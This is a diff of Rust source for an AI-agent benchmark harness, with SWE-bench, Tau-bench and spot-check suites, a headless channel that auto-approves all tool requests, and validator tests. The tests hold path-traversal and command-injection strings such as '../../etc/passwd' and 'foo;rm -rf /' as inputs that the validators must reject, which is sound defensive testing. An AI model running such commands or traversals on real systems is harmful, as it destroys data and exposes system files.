let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: SpotEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("spot line {}: {}", line_num + 1, e)))?;
let metadata = serde_json::json!({
"assertions": serde_json::to_value(&entry.assertions)
.map_err(|e| BenchError::Config(format!("spot {}: {}", entry.id, e)))?,
});
tasks.push(BenchTask {
id: entry.id,
prompt: entry.prompt,
context: entry.context,
resources: vec![],
tags: entry.tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let assertions: SpotAssertions = task
.metadata
.get("assertions")
.ok_or_else(|| BenchError::Scoring {
task_id: task.id.clone(),
reason: "missing assertions in metadata".to_string(),
})
.and_then(|v| {
serde_json::from_value(v.clone()).map_err(|e| BenchError::Scoring {
task_id: task.id.clone(),
reason: format!("bad assertions: {e}"),
})
})?;
let (score, failures) = assertions.evaluate(submission);
if score >= 1.0 {
Ok(BenchScore::pass())
} else if score <= 0.0 {
Ok(BenchScore::fail(failures.join("; ")))
} else {
Ok(BenchScore::partial(score, failures.join("; ")))
}
}
fn additional_tools(&self) -> Vec<Arc<dyn ironclaw::tools::Tool>> {
vec![
Arc::new(ironclaw::tools::builtin::ShellTool::new()),
Arc::new(ironclaw::tools::builtin::ReadFileTool::new()),
Arc::new(ironclaw::tools::builtin::WriteFileTool::new()),
Arc::new(ironclaw::tools::builtin::ListDirTool::new()),
Arc::new(ironclaw::tools::builtin::ApplyPatchTool::new()),
]
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
fn make_submission(
response: &str,
tool_calls: Vec<&str>,
error: Option<&str>,
) -> TaskSubmission {
TaskSubmission {
response: response.to_string(),
conversation: vec![],
tool_calls: tool_calls.into_iter().map(|s| s.to_string()).collect(),
error: error.map(|s| s.to_string()),
}
}
#[test]
fn test_all_pass() {
let assertions = SpotAssertions {
response_contains: vec!["hello".to_string()],
tools_used: vec!["echo".to_string()],
no_error: true,
..Default::default()
};
let sub = make_submission("Hello, world!", vec!["echo"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
assert!(failures.is_empty());
}
#[test]
fn test_hard_fail_on_error() {
let assertions = SpotAssertions {
no_error: true,
response_contains: vec!["hello".to_string()],
..Default::default()
};
let sub = make_submission("Hello!", vec![], Some("timeout after 60s"));
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
assert!(failures[0].contains("no_error"));
}
#[test]
fn test_partial_score() {
let assertions = SpotAssertions {
response_contains: vec!["alpha".to_string(), "beta".to_string()],
..Default::default()
};
let sub = make_submission("alpha is here but not the other", vec![], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert_eq!(failures.len(), 1);
assert!(failures[0].contains("beta"));
}
#[test]
fn test_response_not_contains() {
let assertions = SpotAssertions {
response_not_contains: vec!["error".to_string(), "fail".to_string()],
..Default::default()
};
let sub = make_submission("This is an error message", vec![], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert_eq!(failures.len(), 1);
assert!(failures[0].contains("error"));
}
#[test]
fn test_tools_used_and_not_used() {
let assertions = SpotAssertions {
tools_used: vec!["time".to_string()],
tools_not_used: vec!["shell".to_string(), "echo".to_string()],
..Default::default()
};
let sub = make_submission("The time is now", vec!["time"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
assert!(failures.is_empty());
}
#[test]
fn test_tools_not_used_fails() {
let assertions = SpotAssertions {
tools_not_used: vec!["shell".to_string()],
..Default::default()
};
let sub = make_submission("result", vec!["shell", "time"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
}
#[test]
fn test_response_matches_regex() {
let assertions = SpotAssertions {
response_matches: Some(r"\d{4}".to_string()),
..Default::default()
};
let sub = make_submission("The year is 2026", vec![], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
assert!(failures.is_empty());
}
#[test]
fn test_response_matches_regex_fail() {
let assertions = SpotAssertions {
response_matches: Some(r"^\d+$".to_string()),
..Default::default()
};
let sub = make_submission("not a number", vec![], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
}
#[test]
fn test_min_max_tool_calls() {
let assertions = SpotAssertions {
min_tool_calls: Some(2),
max_tool_calls: Some(4),
..Default::default()
};
// Within range
let sub = make_submission("ok", vec!["a", "b", "c"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
// Too few
let sub = make_submission("ok", vec!["a"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert!(failures[0].contains("min_tool_calls"));
// Too many
let sub = make_submission("ok", vec!["a", "b", "c", "d", "e"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert!(failures[0].contains("max_tool_calls"));
}
#[test]
fn test_max_zero_tool_calls() {
let assertions = SpotAssertions {
max_tool_calls: Some(0),
..Default::default()
};
let sub = make_submission("just talking", vec![], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
let sub = make_submission("oops", vec!["echo"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
}
#[test]
fn test_empty_assertions() {
let assertions = SpotAssertions::default();
let sub = make_submission("anything", vec!["whatever"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
}
#[tokio::test]
async fn test_spot_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("spot.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "s1", "prompt": "Hello", "tags": ["smoke"], "assertions": {{"response_contains": ["hello"], "no_error": true}}}}"#
)
.unwrap();
writeln!(
file,
r#"{{"id": "s2", "prompt": "Echo test", "assertions": {{"tools_used": ["echo"]}}}}"#
)
.unwrap();
let suite = SpotSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 2);
assert_eq!(tasks[0].id, "s1");
assert_eq!(tasks[1].id, "s2");
assert!(tasks[0].tags.contains(&"smoke".to_string()));
}
#[tokio::test]
async fn test_spot_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("spot.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "s1", "prompt": "Hello", "assertions": {{"response_contains": ["hello", "world"], "no_error": true}}}}"#
)
.unwrap();
let suite = SpotSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
// Full pass
let sub = make_submission("Hello World!", vec![], None);
let score = suite.score(&tasks[0], &sub).await.unwrap();
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
// Partial
let sub = make_submission("Hello there", vec![], None);
let score = suite.score(&tasks[0], &sub).await.unwrap();
assert!(score.value > 0.0 && score.value < 1.0);
assert_eq!(score.label, "partial");
// Error hard fail
let sub = make_submission("Hello World!", vec![], Some("boom"));
let score = suite.score(&tasks[0], &sub).await.unwrap();
assert_eq!(score.value, 0.0);
assert_eq!(score.label, "fail");
}
}
-416
View File
@@ -1,416 +0,0 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use regex::Regex;
use serde::Deserialize;
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// Validate that a string is safe for use as a filesystem path component.
/// Allows alphanumerics, hyphens, underscores, dots, and forward slashes (for nested paths).
/// Rejects absolute paths, `..` traversal, and shell metacharacters.
fn is_safe_path_component(s: &str) -> bool {
!s.is_empty()
&& !s.starts_with('/')
&& !s.contains("..")
&& s.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/'))
}
/// Validate that a repo string matches the expected `owner/repo` GitHub format.
fn is_valid_github_repo(repo: &str) -> bool {
// Match "owner/repo" where both parts are alphanumeric with hyphens/underscores/dots
static REPO_PATTERN: std::sync::LazyLock<Regex> =
std::sync::LazyLock::new(|| Regex::new(r"^[a-zA-Z0-9._-]+/[a-zA-Z0-9._-]+$").unwrap());
REPO_PATTERN.is_match(repo)
}
/// Validate that a string looks like a git ref (hex SHA or valid ref name).
fn is_valid_git_ref(s: &str) -> bool {
!s.is_empty()
&& s.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/'))
&& !s.contains("..")
}
/// SWE-bench dataset entry.
#[derive(Debug, Deserialize)]
struct SweBenchEntry {
instance_id: String,
repo: String,
base_commit: String,
#[serde(default)]
problem_statement: String,
#[serde(default)]
hints_text: Option<String>,
#[serde(default)]
test_patch: Option<String>,
#[serde(default)]
patch: Option<String>,
}
/// SWE-bench Pro: real-world software engineering tasks.
///
/// Each task clones a repo at a specific commit, presents the problem statement,
/// and expects the agent to produce a patch. Scoring runs the test suite.
pub struct SweBenchSuite {
dataset_path: PathBuf,
workspace_dir: PathBuf,
use_docker: bool,
}
impl SweBenchSuite {
pub fn new(
dataset_path: impl Into<PathBuf>,
workspace_dir: impl Into<PathBuf>,
use_docker: bool,
) -> Self {
Self {
dataset_path: dataset_path.into(),
workspace_dir: workspace_dir.into(),
use_docker,
}
}
}
#[async_trait]
impl BenchSuite for SweBenchSuite {
fn name(&self) -> &str {
"SWE-bench Pro"
}
fn id(&self) -> &str {
"swe_bench"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: SweBenchEntry = serde_json::from_str(trimmed).map_err(|e| {
BenchError::Config(format!("swe_bench line {}: {}", line_num + 1, e))
})?;
if !is_safe_path_component(&entry.instance_id) {
return Err(BenchError::Config(format!(
"swe_bench line {}: unsafe instance_id \"{}\"",
line_num + 1,
entry.instance_id,
)));
}
if !is_valid_github_repo(&entry.repo) {
return Err(BenchError::Config(format!(
"swe_bench line {}: invalid repo format \"{}\"",
line_num + 1,
entry.repo,
)));
}
if !is_valid_git_ref(&entry.base_commit) {
return Err(BenchError::Config(format!(
"swe_bench line {}: invalid base_commit \"{}\"",
line_num + 1,
entry.base_commit,
)));
}
let metadata = serde_json::json!({
"repo": entry.repo,
"base_commit": entry.base_commit,
"test_patch": entry.test_patch,
"gold_patch": entry.patch,
"use_docker": self.use_docker,
"workspace_dir": self.workspace_dir.to_string_lossy(),
});
let prompt = if let Some(ref hints) = entry.hints_text {
format!("{}\n\nHints:\n{}", entry.problem_statement, hints)
} else {
entry.problem_statement
};
tasks.push(BenchTask {
id: entry.instance_id,
prompt,
context: Some(format!(
"Repository: {}, Commit: {}",
entry.repo, entry.base_commit
)),
resources: vec![],
tags: vec![format!("repo-{}", entry.repo.replace('/', "-"))],
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn setup_task(&self, task: &BenchTask) -> Result<(), BenchError> {
let repo = task
.metadata
.get("repo")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: "missing repo in metadata".to_string(),
})?;
let base_commit = task
.metadata
.get("base_commit")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: "missing base_commit in metadata".to_string(),
})?;
let task_dir = self.workspace_dir.join(&task.id);
// Clone repo if not already present
if !task_dir.exists() {
let repo_url = format!("https://github.com/{}.git", repo);
let output = tokio::process::Command::new("git")
.args([
"clone",
"--depth",
"1",
&repo_url,
&task_dir.to_string_lossy(),
])
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git clone failed: {e}"),
})?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git clone failed: {stderr}"),
});
}
}
// Checkout the base commit
let output = tokio::process::Command::new("git")
.args(["checkout", base_commit])
.current_dir(&task_dir)
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout failed: {e}"),
})?;
if !output.status.success() {
// Shallow clone might not have the commit; fetch more history
let _ = tokio::process::Command::new("git")
.args(["fetch", "--unshallow"])
.current_dir(&task_dir)
.output()
.await;
let output = tokio::process::Command::new("git")
.args(["checkout", base_commit])
.current_dir(&task_dir)
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout retry failed: {e}"),
})?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout failed: {stderr}"),
});
}
}
Ok(())
}
async fn teardown_task(&self, task: &BenchTask) -> Result<(), BenchError> {
let task_dir = self.workspace_dir.join(&task.id);
if task_dir.exists() {
// Reset any changes
let _ = tokio::process::Command::new("git")
.args(["checkout", "."])
.current_dir(&task_dir)
.output()
.await;
let _ = tokio::process::Command::new("git")
.args(["clean", "-fdx"])
.current_dir(&task_dir)
.output()
.await;
}
Ok(())
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
// For SWE-bench, scoring requires running the test patch against the agent's changes.
// This is a simplified version that checks if the agent produced any code changes.
let test_patch = task.metadata.get("test_patch").and_then(|v| v.as_str());
if submission.response.is_empty() {
return Ok(BenchScore::fail("no response from agent"));
}
// If we have a test patch, try to verify the submission
if let Some(_test_patch) = test_patch {
// TODO: Apply agent's patch, then apply test patch, then run tests.
// For now, give partial credit if the agent produced some output.
tracing::warn!(
task_id = %task.id,
"SWE-bench test execution not implemented, returning placeholder 0.25"
);
Ok(BenchScore::partial(
0.25,
"test execution not yet implemented; partial credit for response",
))
} else {
tracing::warn!(
task_id = %task.id,
"no test_patch available, returning placeholder 0.25"
);
Ok(BenchScore::partial(
0.25,
"no test_patch available for automated scoring",
))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_swe_bench_load() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "django__django-12345", "repo": "django/django", "base_commit": "abc123", "problem_statement": "Fix the ORM bug"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].id, "django__django-12345");
assert!(tasks[0].tags.contains(&"repo-django-django".to_string()));
}
#[tokio::test]
async fn test_swe_bench_scoring_no_response() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "s1", "repo": "org/repo", "base_commit": "abc", "problem_statement": "Fix bug"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: String::new(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.0);
}
#[test]
fn test_is_safe_path_component() {
assert!(is_safe_path_component("django__django-12345"));
assert!(is_safe_path_component("org/repo"));
assert!(is_safe_path_component("abc123"));
assert!(!is_safe_path_component(""));
assert!(!is_safe_path_component("../../etc/passwd"));
assert!(!is_safe_path_component("/etc/passwd"));
assert!(!is_safe_path_component("foo;rm -rf /"));
assert!(!is_safe_path_component("foo bar"));
}
#[test]
fn test_is_valid_github_repo() {
assert!(is_valid_github_repo("django/django"));
assert!(is_valid_github_repo("org/repo-name"));
assert!(is_valid_github_repo("Org.Name/Repo_v2"));
assert!(!is_valid_github_repo(""));
assert!(!is_valid_github_repo("no-slash"));
assert!(!is_valid_github_repo("too/many/slashes"));
assert!(!is_valid_github_repo("spa ce/repo"));
}
#[test]
fn test_is_valid_git_ref() {
assert!(is_valid_git_ref("abc123"));
assert!(is_valid_git_ref("deadbeef0123456789abcdef0123456789abcdef"));
assert!(is_valid_git_ref("v1.2.3"));
assert!(is_valid_git_ref("main"));
assert!(!is_valid_git_ref(""));
assert!(!is_valid_git_ref("bad..ref"));
assert!(!is_valid_git_ref("has space"));
assert!(!is_valid_git_ref("semi;colon"));
}
#[tokio::test]
async fn test_swe_bench_rejects_path_traversal() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "../../etc/passwd", "repo": "org/repo", "base_commit": "abc", "problem_statement": "evil"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let err = suite.load_tasks().await.unwrap_err();
assert!(err.to_string().contains("unsafe instance_id"));
}
#[tokio::test]
async fn test_swe_bench_rejects_bad_repo() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "task1", "repo": "not-a-repo-format", "base_commit": "abc", "problem_statement": "bad"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let err = suite.load_tasks().await.unwrap_err();
assert!(err.to_string().contains("invalid repo format"));
}
}
-233
View File
@@ -1,233 +0,0 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, ConversationTurn, TaskSubmission};
/// Tau-bench task entry.
#[derive(Debug, Deserialize)]
struct TauBenchEntry {
id: String,
#[serde(default)]
domain: String,
instruction: String,
#[serde(default)]
user_persona: Option<String>,
#[serde(default)]
expected_state: Option<serde_json::Value>,
#[serde(default)]
expected_actions: Vec<String>,
#[serde(default)]
max_turns: Option<usize>,
}
/// Tau-bench: multi-turn tool-calling dialog benchmark.
///
/// Tests agent ability to handle customer service scenarios with simulated
/// domain APIs (retail, airline). Scoring compares final state against expected.
pub struct TauBenchSuite {
dataset_path: PathBuf,
domain: String,
}
impl TauBenchSuite {
pub fn new(dataset_path: impl Into<PathBuf>, domain: impl Into<String>) -> Self {
Self {
dataset_path: dataset_path.into(),
domain: domain.into(),
}
}
}
#[async_trait]
impl BenchSuite for TauBenchSuite {
fn name(&self) -> &str {
"Tau-bench"
}
fn id(&self) -> &str {
"tau_bench"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: TauBenchEntry = serde_json::from_str(trimmed).map_err(|e| {
BenchError::Config(format!("tau_bench line {}: {}", line_num + 1, e))
})?;
let domain = if entry.domain.is_empty() {
self.domain.clone()
} else {
entry.domain.clone()
};
let metadata = serde_json::json!({
"domain": domain,
"user_persona": entry.user_persona,
"expected_state": entry.expected_state,
"expected_actions": entry.expected_actions,
});
tasks.push(BenchTask {
id: entry.id,
prompt: entry.instruction,
context: entry.user_persona.clone(),
resources: vec![],
tags: vec![format!("domain-{domain}")],
expected_turns: entry.max_turns,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
// Score based on expected actions completion
let expected_actions: Vec<String> = task
.metadata
.get("expected_actions")
.and_then(|v| serde_json::from_value(v.clone()).ok())
.unwrap_or_default();
if expected_actions.is_empty() {
// No expected actions defined; score based on whether agent responded
if submission.response.is_empty() {
return Ok(BenchScore::fail("no response"));
}
return Ok(BenchScore::partial(
0.5,
"no expected_actions to evaluate against",
));
}
// Check which expected actions were actually called
let called: std::collections::HashSet<&str> =
submission.tool_calls.iter().map(|s| s.as_str()).collect();
let matched = expected_actions
.iter()
.filter(|a| called.contains(a.as_str()))
.count();
let ratio = matched as f64 / expected_actions.len() as f64;
if ratio >= 1.0 {
Ok(BenchScore::pass())
} else if ratio > 0.0 {
Ok(BenchScore::partial(
ratio,
format!(
"{}/{} expected actions completed",
matched,
expected_actions.len()
),
))
} else {
Ok(BenchScore::fail(format!(
"0/{} expected actions completed",
expected_actions.len()
)))
}
}
async fn next_user_message(
&self,
task: &BenchTask,
conversation: &[ConversationTurn],
) -> Result<Option<String>, BenchError> {
// Check if we've exceeded max turns
if let Some(max) = task.expected_turns {
let user_turns = conversation
.iter()
.filter(|t| matches!(t.role, crate::suite::TurnRole::User))
.count();
if user_turns >= max {
return Ok(None);
}
}
// Multi-turn simulation requires an LLM to play the customer role.
// Until that's implemented, every scenario is single-turn only.
// TODO: Use LLM to simulate customer based on user_persona.
tracing::warn!(
task_id = %task.id,
"multi-turn simulation not implemented, ending after first turn"
);
Ok(None)
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_tau_bench_load() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tau.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "instruction": "Return my order", "expected_actions": ["lookup_order", "process_return"], "max_turns": 3}}"#
)
.unwrap();
let suite = TauBenchSuite::new(&path, "retail");
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].expected_turns, Some(3));
}
#[tokio::test]
async fn test_tau_bench_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tau.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "instruction": "Return order", "expected_actions": ["lookup_order", "process_return"]}}"#
)
.unwrap();
let suite = TauBenchSuite::new(&path, "retail");
let tasks = suite.load_tasks().await.unwrap();
// Partial completion
let submission = TaskSubmission {
response: "I found your order.".to_string(),
conversation: vec![],
tool_calls: vec!["lookup_order".to_string()],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.5);
assert_eq!(score.label, "partial");
// Full completion
let submission = TaskSubmission {
response: "Return processed.".to_string(),
conversation: vec![],
tool_calls: vec!["lookup_order".to_string(), "process_return".to_string()],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
}
}
-259
View File
@@ -1,259 +0,0 @@
use std::sync::Arc;
use async_trait::async_trait;
use tokio::sync::{Mutex, mpsc};
use tokio_stream::wrappers::ReceiverStream;
use ironclaw::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use ironclaw::error::ChannelError;
use crate::results::TraceToolCall;
use crate::suite::ConversationTurn;
/// Truncate a string to at most `max_bytes` without splitting a UTF-8 character.
fn truncate_str(s: &str, max_bytes: usize) -> &str {
if s.len() <= max_bytes {
return s;
}
let mut end = max_bytes;
while !s.is_char_boundary(end) {
end -= 1;
}
&s[..end]
}
/// Captured state from a benchmark channel run.
#[derive(Debug, Default)]
pub struct ChannelCapture {
/// All responses the agent sent back.
pub responses: Vec<String>,
/// Tool calls observed (name, success, duration_ms).
pub tool_calls: Vec<TraceToolCall>,
/// Full conversation turns for multi-turn scoring.
pub conversation: Vec<ConversationTurn>,
/// Status messages (for debugging).
pub status_log: Vec<String>,
}
/// A headless Channel implementation for benchmarking.
///
/// Modeled after `ReplChannel`: uses mpsc to inject messages and captures
/// all responses and tool status events. Auto-approves tool execution
/// so benchmarks run without user interaction.
pub struct BenchChannel {
/// Sender to inject messages into the agent loop.
msg_tx: mpsc::Sender<IncomingMessage>,
/// Receiver the agent loop reads from (taken once by `start()`).
msg_rx: Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
/// Accumulated capture data.
capture: Arc<Mutex<ChannelCapture>>,
}
impl BenchChannel {
pub fn new() -> (Self, mpsc::Sender<IncomingMessage>) {
let (tx, rx) = mpsc::channel(64);
let channel = Self {
msg_tx: tx.clone(),
msg_rx: Mutex::new(Some(rx)),
capture: Arc::new(Mutex::new(ChannelCapture::default())),
};
(channel, tx)
}
/// Get a handle to the capture data.
pub fn capture(&self) -> Arc<Mutex<ChannelCapture>> {
Arc::clone(&self.capture)
}
}
#[async_trait]
impl Channel for BenchChannel {
fn name(&self) -> &str {
"bench"
}
async fn start(&self) -> Result<MessageStream, ChannelError> {
let rx = self
.msg_rx
.lock()
.await
.take()
.ok_or_else(|| ChannelError::StartupFailed {
name: "bench".to_string(),
reason: "start() already called".to_string(),
})?;
Ok(Box::pin(ReceiverStream::new(rx)))
}
async fn respond(
&self,
_msg: &IncomingMessage,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
cap.responses.push(response.content.clone());
cap.conversation.push(ConversationTurn {
role: crate::suite::TurnRole::Assistant,
content: response.content,
});
Ok(())
}
async fn send_status(
&self,
status: StatusUpdate,
_metadata: &serde_json::Value,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
match status {
StatusUpdate::ToolCompleted { ref name, success } => {
cap.tool_calls.push(TraceToolCall {
name: name.clone(),
duration_ms: 0, // We don't have precise per-tool timing here
success,
});
cap.status_log
.push(format!("tool_completed: {name} success={success}"));
}
StatusUpdate::ApprovalNeeded { ref request_id, .. } => {
// Auto-approve all tools during benchmarks
cap.status_log.push(format!("auto_approved: {request_id}"));
drop(cap); // Release lock before sending
let approval = IncomingMessage::new("bench", "bench-user", "always");
let _ = self.msg_tx.send(approval).await;
return Ok(());
}
StatusUpdate::Thinking(ref msg) => {
cap.status_log.push(format!("thinking: {msg}"));
}
StatusUpdate::ToolStarted { ref name } => {
cap.status_log.push(format!("tool_started: {name}"));
}
StatusUpdate::ToolResult {
ref name,
ref preview,
} => {
cap.status_log.push(format!(
"tool_result: {name} -> {}",
truncate_str(preview, 100)
));
}
StatusUpdate::StreamChunk(_) => {}
StatusUpdate::Status(ref msg) => {
cap.status_log.push(format!("status: {msg}"));
}
StatusUpdate::JobStarted {
ref job_id,
ref title,
..
} => {
cap.status_log
.push(format!("job_started: {job_id} ({title})"));
}
StatusUpdate::AuthRequired {
ref extension_name, ..
} => {
cap.status_log
.push(format!("auth_required: {extension_name} (auto-skipped)"));
}
StatusUpdate::AuthCompleted {
ref extension_name,
success,
..
} => {
cap.status_log.push(format!(
"auth_completed: {extension_name} success={success}"
));
}
}
Ok(())
}
async fn broadcast(
&self,
_user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
cap.status_log.push(format!(
"broadcast: {}",
truncate_str(&response.content, 100)
));
Ok(())
}
async fn health_check(&self) -> Result<(), ChannelError> {
Ok(())
}
async fn shutdown(&self) -> Result<(), ChannelError> {
Ok(())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_bench_channel_captures_responses() {
let (channel, _tx) = BenchChannel::new();
let capture = channel.capture();
let msg = IncomingMessage::new("bench", "user", "hello");
let response = OutgoingResponse::text("world");
channel.respond(&msg, response).await.unwrap();
let cap = capture.lock().await;
assert_eq!(cap.responses.len(), 1);
assert_eq!(cap.responses[0], "world");
assert_eq!(cap.conversation.len(), 1);
}
#[tokio::test]
async fn test_bench_channel_auto_approves() {
let (channel, _tx) = BenchChannel::new();
// start() to consume the receiver
let _stream = channel.start().await.unwrap();
let status = StatusUpdate::ApprovalNeeded {
request_id: "req-1".to_string(),
tool_name: "shell".to_string(),
description: "run ls".to_string(),
parameters: serde_json::json!({}),
};
channel
.send_status(status, &serde_json::Value::Null)
.await
.unwrap();
// The approval message was sent through msg_tx,
// which means the stream would receive it.
// We can't easily read from the stream in this test without
// consuming it, but we can verify the status log.
let capture_arc = channel.capture();
let cap = capture_arc.lock().await;
assert!(cap.status_log.iter().any(|s| s.contains("auto_approved")));
}
#[tokio::test]
async fn test_bench_channel_captures_tool_events() {
let (channel, _tx) = BenchChannel::new();
let status = StatusUpdate::ToolCompleted {
name: "echo".to_string(),
success: true,
};
channel
.send_status(status, &serde_json::Value::Null)
.await
.unwrap();
let capture_arc = channel.capture();
let cap = capture_arc.lock().await;
assert_eq!(cap.tool_calls.len(), 1);
assert_eq!(cap.tool_calls[0].name, "echo");
assert!(cap.tool_calls[0].success);
}
}
-205
View File
@@ -1,205 +0,0 @@
use std::path::{Path, PathBuf};
use std::time::Duration;
use serde::Deserialize;
use crate::error::BenchError;
/// Top-level bench configuration, loaded from TOML.
#[derive(Debug, Clone, Deserialize)]
pub struct BenchConfig {
/// Where to write results. Default: "./bench-results".
#[serde(default = "default_results_dir")]
pub results_dir: PathBuf,
/// Per-task timeout. Default: "300s".
#[serde(
default = "default_task_timeout",
deserialize_with = "deserialize_duration"
)]
pub task_timeout: Duration,
/// How many tasks to run in parallel. Default: 1.
#[serde(default = "default_parallelism")]
pub parallelism: usize,
/// Model/config matrix entries. At least one required.
#[serde(default)]
pub matrix: Vec<MatrixEntry>,
/// Suite-specific configuration (passed through to adapter).
#[serde(default = "default_suite_config")]
pub suite_config: toml::Value,
}
/// A single model/config combination to benchmark.
#[derive(Debug, Clone, Deserialize)]
pub struct MatrixEntry {
/// Label for this configuration (used in results).
pub label: String,
/// Model identifier.
#[serde(default)]
pub model: Option<String>,
}
impl BenchConfig {
/// Load from a TOML file.
pub fn from_file(path: &Path) -> Result<Self, BenchError> {
if !path.exists() {
return Err(BenchError::ConfigNotFound {
path: path.to_path_buf(),
});
}
